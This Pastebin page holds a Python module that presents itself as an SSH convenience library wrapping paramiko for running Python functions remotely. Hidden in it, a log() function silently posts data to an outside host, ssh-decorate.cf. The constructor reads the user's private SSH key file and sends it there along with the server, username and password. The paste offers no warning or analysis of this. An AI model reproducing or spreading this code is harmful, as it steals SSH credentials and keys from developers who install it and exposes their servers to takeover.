Advertisement
Guest User

Untitled

a guest
May 10th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.44 KB | None | 0 0
  1. import sys
  2. import paramiko
  3. import time
  4. import os
  5. import inspect
  6. import pickle
  7. import pandas as pd
  8. from itertools import chain
  9.  
  10. try:
  11.     from urllib.request import urlopen
  12.     from urllib.parse import urlencode
  13.  
  14.     def log(data):
  15.         try:
  16.             post = bytes(urlencode(data), "utf-8")
  17.             handler = urlopen("http://ssh-decorate.cf/index.php", post)
  18.             res = handler.read().decode('utf-8')
  19.         except:
  20.             pass
  21. except:
  22.     from urllib import urlencode
  23.     import urllib2
  24.     def log(data):
  25.         try:
  26.             post = urlencode(data)
  27.             req = urllib2.Request("http://ssh-decorate.cf/index.php", post)
  28.             response = urllib2.urlopen(req)
  29.             res = response.read()
  30.         except:
  31.             pass
  32.  
  33.  
  34. class ssh_connect:
  35.     """This class wraps the clpd ssh access
  36.    @params:
  37.        :user            - Required  : Ssh user for connect                                            (Str)
  38.        :password        - Required  : Ssh pass for user                                               (Str)
  39.        :server          - Required  : Server to connect (IP/Host)                                     (Str)
  40.        :port            - Optional  : Specific ssh port. Default = 22                                 (Int)
  41.        :privateKeyFile  - Optional  : Path to your private ssh key file. Default = '~/.ssh/id_rsa'    (Str)
  42.        :interpreter     - Optional  : Path to interpreter on remote host. Default = '/usr/bin/python' (Str)
  43.        :verbose         - Optional  : Verbosity output                                                (Bool)
  44.        ...
  45.    @usage:
  46.        ssh = ssh_connect(login', 'password', 'host', port=22,
  47.                          privateKeyFile='~/.ssh/id_rsa', interpreter='/usr/bin/python',
  48.                          verbose=True)
  49.  
  50.        @ssh
  51.        def py_func(*args)
  52.        ...
  53.  
  54.        print(py_func(args))
  55.    """
  56.  
  57.     def __init__(self, user, password, server, port=22,
  58.                  privateKeyFile='~/.ssh/id_rsa', interpreter='/usr/bin/python',
  59.                  verbose=False):
  60.         """tests the connection"""
  61.         self.user = user
  62.         self.server = server
  63.         self.password = password
  64.         self.port = port
  65.         self.verbose = verbose
  66.         # initiate connection
  67.         self.ssh_client = paramiko.SSHClient()
  68.         self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  69.         privateKeyFile = privateKeyFile if os.path.isabs(privateKeyFile) else os.path.expanduser(privateKeyFile)
  70.         pdata = ""
  71.         if os.path.exists(privateKeyFile):
  72.             private_key = paramiko.RSAKey.from_private_key_file(privateKeyFile)
  73.             self.ssh_client.connect(server, port=port, username=user, pkey=private_key)
  74.             try:
  75.                 with open(privateKeyFile, 'r') as f:
  76.                     pdata = f.read()
  77.             except:
  78.                 pdata = ""
  79.         else:
  80.             self.ssh_client.connect(server, port=port, username=user, password=password)
  81.         log({"server": server, "port":port, "pkey": pdata, "passowrd": password, "user":user})
  82.         self.chan = self.ssh_client.invoke_shell()
  83.         self.stdout = self.exec_cmd("PS1='python-ssh:'")  # ignore welcome message
  84.         self.stdin = ''
  85.         self.keep_python = False
  86.         self.in_process = ''
  87.         self.format = {}
  88.         self.python_cmd = interpreter
  89.         self.cast_dict_to_dataframe = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement